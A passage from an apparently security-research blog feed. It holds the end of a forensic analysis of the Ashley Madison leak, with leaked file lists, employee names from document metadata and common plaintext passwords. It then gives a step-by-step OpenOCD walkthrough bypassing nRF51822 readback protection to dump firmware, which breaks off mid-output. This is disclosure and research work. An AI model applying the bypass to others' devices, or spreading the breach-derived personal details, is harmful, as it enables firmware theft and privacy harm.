If none of those  things happen, I don’t think these attackers will ever be caught. The cyber-crime fighters have a daunting task in front of them, I’ve helped out a couple FBI and NYPD cyber-crime fighters and I do not envy the difficult and frustrating job they have — good luck to them! Today we’re living in the Wild West days of the Internet.

———–[Leaked file extraction and evidence gathering]

Now to document the information seen within this data leak we proceed with a couple of commands to gather the file size and we’ll also check the file hashes to ensure the uniqueness of the files. Finally we review the meta-data of some of the compressed files. The meta-data shows the time-stamp embedded into the various compressed files. Although meta-data can easily be faked, it is usually not.

Next we’ll extract these files and examine their file size to take a closer look.

$ 7z e ashleymadisondump.7z

We find within the extracted 7zip file another 7zip file
“swappernet_User_Table.7z” was found and also extracted.

We now have the following files sizes and SHA1 hashes for evidence
integrity & auditing purposes:

$ du -sh ashleymadisondump/*
68K     20131002-domain-list.xlsx
52K     ALMCLUSTER (production domain) computers.txt
120K    ALMCLUSTER (production domain) hashdump.txt
68K     ALM - Corporate Chart.pptx
256K    ALM Floor Plan - ports and names.pdf
8.0M    ALM - January 2015 - Company Overview.pptx
1.8M    ALM Labs Inc. Articles of Incorporation.pdf
708K    announcement.png
8.0K    Areas of concern - customer data.docx
8.0K    ARPU and ARPPU.docx
940K    Ashley Madison Technology Stack v5(1).docx
16K     Avid Life Media - Major Shareholders.xlsx
36K     AVIDLIFEMEDIA (primary corporate domain) computers.txt
332K    AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
1.7M    Avid Org Chart 2015 - May 14.pdf
24K     Banks.xlsx
6.1M    Copies of Option Agreements.pdf
8.0K    Credit useage.docx
16K     CSF Questionnaire (Responses).xlsx
132K    Noel's loan agreement.pdf
8.0K    Number of traveling man purchases.docx
1.5M    oneperday_am_am_member.txt
940K    oneperday_aminno_member.txt
672K    oneperday.txt
44K     paypal accounts.xlsx
372K    [email protected]_20101103_133855.pdf
16K     q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
8.0K    README.txt
8.0K    Rebill Success Rate Queries.docx
8.0K    Rev by traffic source rebill broken out.docx
8.0K    Rev from organic search traffic.docx
4.0K    Sales Queries
59M     swappernet_QA_User_Table.txt  #this was extracted from swappernet_User_Table.7z in the same dir
17M     swappernet_User_Table.7z
$ sha1sum ashleymadisondump/*
f0af9ea887a41eb89132364af1e150a8ef24266f  20131002-domain-list.xlsx
30401facc68dab87c98f7b02bf0a986a3c3615f0  ALMCLUSTER (production domain) computers.txt
c36c861fd1dc9cf85a75295e9e7bcf6cf04c7d2c  ALMCLUSTER (production domain) hashdump.txt
6be635627aa38462ebcba9266bed5b492a062589  ALM - Corporate Chart.pptx
4dec7623100f59395b68fd13d3dcbbff45bef9c9  ALM Floor Plan - ports and names.pdf
601e0b462e1f43835beb66743477fe94bbda5293  ALM - January 2015 - Company Overview.pptx
d17cb15a5e3af15bc600421b10152b2ea1b9c097  ALM Labs Inc. Articles of Incorporation.pdf
1679eca2bc172cba0b5ca8d14f82f9ced77f10df  announcement.png
6a618e7fc62718b505afe86fbf76e2360ade199d  Areas of concern - customer data.docx
91f65350d0249211234a52b260ca2702dd2eaa26  ARPU and ARPPU.docx
50acee0c8bb27086f12963e884336c2bf9116d8a  Ashley Madison Technology Stack v5(1).docx
71e579b04bbba4f7291352c4c29a325d86adcbd2  Avid Life Media - Major Shareholders.xlsx
ef8257d9d63fa12fb7bc681320ea43d2ca563e3b  AVIDLIFEMEDIA (primary corporate domain) computers.txt
ec54caf0dc7c7206a7ad47dad14955d23b09a6c0  AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
614e80a1a6b7a0bbffd04f9ec69f4dad54e5559e  Avid Org Chart 2015 - May 14.pdf
c3490d0f6a09bf5f663cf0ab173559e720459649  Banks.xlsx
1538c8f4e537bb1b1c9a83ca11df9136796b72a3  Copies of Option Agreements.pdf
196b1ba40894306f05dcb72babd9409628934260  Credit useage.docx
2c9ba652fb96f6584d104e166274c48aa4ab01a3  CSF Questionnaire (Responses).xlsx
0068bc3ee0dfb796a4609996775ff4609da34acb  Noel's loan agreement.pdf
c3b4d17fc67c84c54d45ff97eabb89aa4402cae8  Number of traveling man purchases.docx
9e6f45352dc54b0e98932e0f2fe767df143c1f6d  oneperday_am_am_member.txt
de457caca9226059da2da7a68caf5ad20c11de2e  oneperday_aminno_member.txt
d596e3ea661cfc43fd1da44f629f54c2f67ac4e9  oneperday.txt
37fdc8400720b0d78c2fe239ae5bf3f91c1790f4  paypal accounts.xlsx
2539bc640ea60960f867b8d46d10c8fef5291db7  [email protected]_20101103_133855.pdf
5bb6176fc415dde851262ee338755290fec0c30c  q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
5435bfbf180a275ccc0640053d1c9756ad054892  README.txt
872f3498637d88ddc75265dab3c2e9e4ce6fa80a  Rebill Success Rate Queries.docx
d4e80e163aa1810b9ec70daf4c1591f29728bf8e  Rev by traffic source rebill broken out.docx
2b5f5273a48ed76cd44e44860f9546768bda53c8  Rev from organic search traffic.docx
sha1sum: Sales Queries: Is a directory
0f63704c118e93e2776c1ad0e94fdc558248bf4e  swappernet_QA_User_Table.txt
9d67a712ef6c63ae41cbba4cf005ebbb41d92f33  swappernet_User_Table.7z

———–[Quick summary of each of the leaked files]

The following files are MySQL data dumps of the main AM database:

  • member_details.dump.gz
  • aminno_member.dump.gz
  • member_login.dump.gz
  • aminno_member_email.dump.gz
  • CreditCardTransactions.7z

Also included was another AM database which contains user info (separate from the emails):

  • am_am.dump.gz

In the top level directory you can also find these additional files:

  • 74ABAA38.txt
    Impact Team’s Public PGP key used for signing the releases (The .asc files are the signatures)
  • ashleymadisondump.7z
    This contains various internal and corporate private files.
  • README
    Impact Team’s justification for releasing the user data.
  • Various .asc files such as “member_details.dump.gz.asc”
    These are all PGP signature files to prove that one or more persons who are part of the “Impact Team” attackers released them.

Within the ashleymadisondump.7z we can extract and view the following files:

  • Number of traveling man purchases.docx
    SQL queries to investigate high-travel user’s purchases.
  • q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
    Per-employee compensation listings.
  • AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
  • AVIDLIFEMEDIA (primary corporate domain) computers.txt
    The output of the dnscmd windows command executing on what appears to be a primary domain controller. The timestamp indicates that the command was run on July 1st 2015. There is also “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest
  • Noel’s loan agreement.pdf
    A promissory note for the CEO to pay back ~3MM in Canadian monies.
  • Areas of concern – customer data.docx
    Appears to be a risk profile of the major security concerns that ALM has regarding their customer’s data. And yes, a major user data dump is on the list of concerns.
  • Banks.xlsx
    A listing of all ALM associated bank account numbers and the biz which owns them.
  • Rev by traffic source rebill broken out.docx
  • Rebill Success Rate Queries.docx
    Both of these are SQL queries to investigate Rebilling of customers.
  • README.txt
    Impact Team statement regarding their motivations for the attack and leak.
  • Copies of Option Agreements.pdf
    All agreements for what appears all of the company’s outstanding options.
  • paypal accounts.xlsx
    Various user/passes for ALM paypal accounts (16 in total)
  • swappernet_QA_User_Table.txt
  • swappernet_User_Table.7z
    This file is a database export into CSV format. I appears to be from a QA server
  • ALMCLUSTER (production domain) computers.txt
    The output of the dnscmd windows command executing on what appears to be a production domain controller. The timestamp indicates that the command was run on July 1st 2015.
  • ALMCLUSTER (production domain) hashdump.txt
    A “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest.
  • ALM Floor Plan – ports and names.pdf
    Seating map of main office, this type of map is usually used for network deployment purposes.
  • ARPU and ARPPU.docx
    A listing of SQL commands which provide revenue and other macro financial health info.
    Presumably these queries would run on the primary DB or a biz intel slave.
  • Credit useage.docx
    SQL queries to investigate credit card purchases.
  • Avid Org Chart 2015 – May 14.pdf
    A per-team organizational chart of what appears to be the entire company.
  • announcement.png
    The graphic created by Impact Team to announce their demand for ALM to shut down it’s flagship website AM.
  • [email protected]_20101103_133855.pdf
    Contract outlining the terms of a purchase of the biz Seekingarrangement.com
  • CSF Questionnaire (Responses).xlsx
    Company exec Critical Success Factors spreadsheet. Answering questions like “In what area would you hate to see something go wrong?” and the CTO’s response is about hacking.
  • ALM – January 2015 – Company Overview.pptx
    This is a very detailed breakdown of current biz health, marketing spend, and future product plans.
  • Ashley Madison Technology Stack v5(1).docx
    A detailed walk-through of all major servers and services used in the ALM production environment.
  • oneperday.txt
  • oneperday_am_am_member.txt
  • oneperday_aminno_member.txt
    These three files have limited leak info as a “teaser” for the .dump files that are found in the highest level directory of the AM leak.
  • Rev from organic search traffic.docx
    SQL queries to explore the revenue generated from search traffic.
  • 20131002-domain-list.xlsx
    BA list of the 1083 domain names that are, have been, or are seeking to be owned by ALM.
  • Sales Queries/
    Empty Directory
  • ALM Labs Inc. Articles of Incorporation.pdf
    The full 109 page Articles of Incorporation, ever aspect of inital company formation.
  • ALM – Corporate Chart.pptx
    A detailed block diagram defining the relationship between various tax and legal business entity names related to ALM businesses.
  • Avid Life Media – Major Shareholders.xlsx
    A listing of each major shareholder and their equity stake

———–[File meta-data analysis]

First we’ll take a look at the 7zip file in the top level directory.

$ 7z l ashleymadisondump.7z

Listing archive: ashleymadisondump.7z

----

Path = ashleymadisondump.7z

Type = 7z

Method = LZM

Solid = +

Blocks = 1

Physical Size = 37796243

Headers Size = 1303



   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-07-09 12:25:48 ....A     17271957     37794940  swappernet_User_Table.7z
2015-07-10 12:14:35 ....A       723516               announcement.png
2015-07-01 18:03:56 ....A        51222               ALMCLUSTER (production domain) computers.txt
2015-07-01 17:58:55 ....A       120377               ALMCLUSTER (production domain) hashdump.txt
2015-06-25 22:59:22 ....A        35847               AVIDLIFEMEDIA (primary corporate domain) computers.txt
2015-06-14 21:18:11 ....A       339221               AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
2015-07-18 15:23:34 ....A       686533               oneperday.txt
2015-07-18 15:20:43 ....A       959099               oneperday_aminno_member.txt
2015-07-18 19:00:45 ....A      1485289               oneperday_am_am_member.txt
2015-07-19 17:01:11 ....A         6031               README.txt
2015-07-07 11:41:36 ....A         6042               Areas of concern - customer data.docx
2015-07-07 12:14:42 ....A         5907               Sales Queries/ARPU and ARPPU.docx
2015-07-07 12:04:35 ....A       960553               Ashley Madison Technology Stack v5(1).docx
2015-07-07 12:14:42 ....A         5468               Sales Queries/Credit useage.docx
2015-07-07 12:14:43 ....A         5140               Sales Queries/Number of traveling man purchases.docx
2015-07-07 12:14:47 ....A         5489               Sales Queries/Rebill Success Rate Queries.docx
2015-07-07 12:14:43 ....A         5624               Sales Queries/Rev by traffic source rebill broken out.docx
2015-07-07 12:14:42 ....A         6198               Sales Queries/Rev from organic search traffic.docx
2015-07-08 23:17:19 ....A       259565               ALM Floor Plan - ports and names.pdf
2012-10-19 16:54:20 ....A      1794354               ALM Labs Inc. Articles of Incorporation.pdf
2015-07-07 12:04:10 ....A      1766350               Avid Org Chart 2015 - May 14.pdf
2012-10-20 12:23:11 ....A      6344792               Copies of Option Agreements.pdf
2013-09-18 14:39:25 ....A       132798               Noel's loan agreement.pdf
2015-07-07 10:16:54 ....A       380043               [email protected]_20101103_133855.pdf
2012-12-13 15:26:58 ....A        67816               ALM - Corporate Chart.pptx
2015-07-07 12:14:28 ....A      8366232               ALM - January 2015 - Company Overview.pptx
2013-10-07 10:30:28 ....A        67763               20131002-domain-list.xlsx
2013-07-15 15:20:14 ....A        13934               Avid Life Media - Major Shareholders.xlsx
2015-07-09 11:57:58 ....A        22226               Banks.xlsx
2015-07-07 11:41:41 ....A        15703               CSF Questionnaire (Responses).xlsx
2015-07-09 11:57:58 ....A        42511               paypal accounts.xlsx
2015-07-07 12:04:44 ....A        15293               q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
2015-07-18 13:54:40 D....            0            0  Sales Queries
------------------- ----- ------------ ------------  ------------------------
                              41968893     37794940  32 files, 1 folders

If we’re to believe this meta-data, the newest file is from July 19th 2015 and the oldest is from October 19th 2012. The timestamp for the file announcement.png shows a creation date of July 10th 2015. This file is the graphical announcement from the leakers. The file swappernet_User_Table.7z
has a timestamp of July 9th 2015. Since this file is a database dump, one might presume that these files were created for the original release and the other files were copied from a file-system that preserves timestamps.

Within that 7zip file we’ve found another which looks like:

$ 7z l ashleymadisondump/swappernet_User_Table.7z

Listing archive: ./swappernet_User_Table.7z

----

Path = ./swappernet_User_Table.7z

Type = 7z

Method = LZMA

Solid = -

Blocks = 1

Physical Size = 17271957

Headers Size = 158




   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-06-27 18:39:40 ....A     61064200     17271799  swappernet_QA_User_Table.txt
------------------- ----- ------------ ------------  ------------------------
                              61064200     17271799  1 files, 0 folders

Within the ashleymadisondump directory extracted from ashleymadisondump.7z we’ve got
the following file types that we’ll examine for meta-data:

8 txt
8 docx
6 xlsx
6 pdf
2 pptx
1 png
1 7z

The PNG didn’t seem to have any EXIF meta-data, and we’ve already covered the 7z file.

The text files probably don’t usually yield anything to us meta-data wise.

In the MS Word docx files  we have the following meta-data:

  • Areas of concern – customer data.docx
    No Metadata
  • ARPU and ARPPU.docx
    No Metadata
  • Ashley Madison Technology Stack v5(1).docx
    Created Michael Morris, created and last modified on Sep 17 2013.
  • Credit useage.docx
    No Metadata
  • Number of traveling man purchases.docx
    No Metadata
  • Rebill Success Rate Queries.docx
    No Metadata
  • Rev by traffic source rebill broken out.docx
    No Metadata
  • Rev from organic search traffic.docx
    No Metadata

In the MS Powerpoint pptx files we have the following meta-data:

  • ALM – Corporate Chart.pptx
    Created by “Diana Horvat” on Dec 5 2012 and last updated by “Tatiana Kresling”
    on Dec 13th 2012
  • ALM – January 2015 – Company Overview.pptx
    Created Rizwan Jiwan, Jan 21 2011 and last modified on Jan 20 2015.

In the MS Excel xlsx files we have the following meta-data:

  • 20131002-domain-list.xlsx
    Written by Kevin McCall, created and last modified Oct 2nd 2013
  • Avid Life Media – Major Shareholders.xlsx
    Jamal Yehia, created and last modified July 15th 2013
  • Banks.xlsx
    Created by “Elena” and Keith Lalonde, created Dec 15 2009 and last modified Feb 26th  2010
  • CSF Questionnaire (Responses).xlsx
    No Metadata
  • paypal accounts.xlsx
    Created by Keith Lalonde, created Oct 28  2010 and last modified Dec 22nd  2010
  • q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
    No Metadata

And finally within the PDF files we also see additional meta-data:

  • ALM Floor Plan – ports and names.pdf
    Written by Martin Price in MS Visio, created and last modified April 23 2015
  • ALM Labs Inc. Articles of Incorporation.pdf
    Created with DocsCorp Pty Ltd (www.docscorp.com), created and last modified on Oct 17 2012
  • Avid Org Chart 2015 – May 14.pdf
    Created and last modified on May 14 2015
  • Copies of Option Agreements.pdf
    OmniPage CSDK 16 OcrToolkit, created and last modified on Oct 16 2012
  • Noel’s loan agreement.pdf
    Created and last modified on Sep 18 2013
  • [email protected]_20101103_133855.pdf
    Created and last modified on Jul 7 2015

———–[MySQL Dump file loading and evidence gathering]

At this point all of the dump files have been decompressed with gunzip or 7zip. The dump files are standard MySQL backup file (aka Dump files) the info in the dump files implies that it was taken from multiple servers:

$ grep 'MySQL dump' *.dump
am_am.dump:-- MySQL dump 10.13  Distrib 5.5.33, for Linux (x86_64)
aminno_member.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
aminno_member_email.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_details.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_login.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)

Also within the dump files was info referencing being executed from localhost, this implies an attacker was on the Database server in question.

Of course, all of this info is just text and can easily be faked, but it’s interesting none-the-less considering the possibility that it might be correct and unaltered.

To load up the MySQL dumps we’ll start with a fresh MySQL database instance
on a decently powerful server and run the following commands:

--As root MySQL user
CREATE DATABASE aminno;
CREATE DATABASE am;
CREATE USER 'am'@'localhost' IDENTIFIED BY 'loyaltyandfidelity';
GRANT ALL PRIVILEGES ON aminno.* TO 'am'@'localhost';
GRANT ALL PRIVILEGES ON am.* TO 'am'@'localhost';

Now back at the command line we’ll execute these to import the main dumps:

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member.dump

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member_email.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_details.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_login.dump

$ mysql -D am -uam -ployaltyandfidelity < am_am.dump

Now that you’ve got the data loaded up you can recreate some of the findings ksugihara made with his analysis here [Edit: It appears ksugihara has taken this offline, I don’t have a mirror]. We didn’t have much more to add for holistic statistics analysis than what he’s already done so check out his blog post for more on the primary data dumps. There still is one last final database export though…

Within the file ashleymadisondump/swappernet_QA_User_Table.txt we have a final database export, but this one is not in the MySQL dump format. It is instead in CSV format. The file name implies this was an export from a QA Database server.

This file has the following columns (left to right in the CSV):

  • recid
  • id
  • username
  • userpassword
  • refnum
  • disable
  • ipaddress
  • lastlogin
  • lngstatus
  • strafl
  • ap43
  • txtCoupon
  • bot

Sadly within the file we see user passwords are in clear text which is always a bad security practice. At the moment though we don’t know if these are actual production user account passwords, and if so how old they are. My guess is that these are from an old QA server when AM was a smaller company and hadn’t moved to secure password hashing practices like bcrypt.

These commands show us there are 765,607 records in this database export and
only four of them have a blank password. Many of the passwords repeat and
397,974 of the passwords are unique.

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |wc -l
765607
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |wc -l
765603
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |sort -u |wc -l
387974

Next we see the top 25 most frequently used passwords in this database export
using the command:

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |sort|uniq -c |sort -rn|head -25
   5882 123456
   2406 password
    950 pussy
    948 12345
    943 696969
    917 12345678
    902 fuckme
    896 123456789
    818 qwerty
    746 1234
    734 baseball
    710 harley
    699 swapper
    688 swinger
    647 football
    645 fuckyou
    641 111111
    538 swingers
    482 mustang
    482 abc123
    445 asshole
    431 soccer
    421 654321
    414 1111
    408 hunter

After importing the CSV into MS excel we can use sort and filter to make some
additional statements based on the data.

    1. The only logins marked as “lastlogin” column in the year 2015 are from the
      following users:
      SIMTEST101
      SIMTEST130
      JULITEST2
      JULITEST3
      swappernetwork
      JULITEST4
      HEATSEEKERS
    1. The final and most recent login was from AvidLifeMedia’s office IP range.
    2. 275,285 of these users have an entry for the txtCupon.
    3. All users with the “bot” column set to TRUE have either passwords

“statueofliberty” or “cake”

The post A light-weight forensic analysis of the AshleyMadison Hack appeared first on Include Security Research Blog.

Firmware dumping technique for an ARM Cortex-M0 SoC

5 November 2015 at 20:00

One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.

Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.

This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.

The SoC

The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.

Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.

The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.

This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.

Exploring the Debugger Access

Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> mdw 0x00000000
0x00000000: 00000000
> mdw 0x000114cc 10
0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x000114ec: 00000000 00000000

We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):

> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0

We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:

> mdw 0x10001004
0x10001004: ffff00ff

According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):

The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.

The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.

Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.

Devising a Protection Bypass

An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.

To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.

Finding a Load Instruction

Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.

We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.

We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Looks like r3 was set to 0x10001014. Is that the value at address zero? Let’s see what happens when we load the registers with four instead:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Nope, r3 gets the same value, so we’re not interested in the first instruction. Let’s continue on to the second:

> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x20001BD0
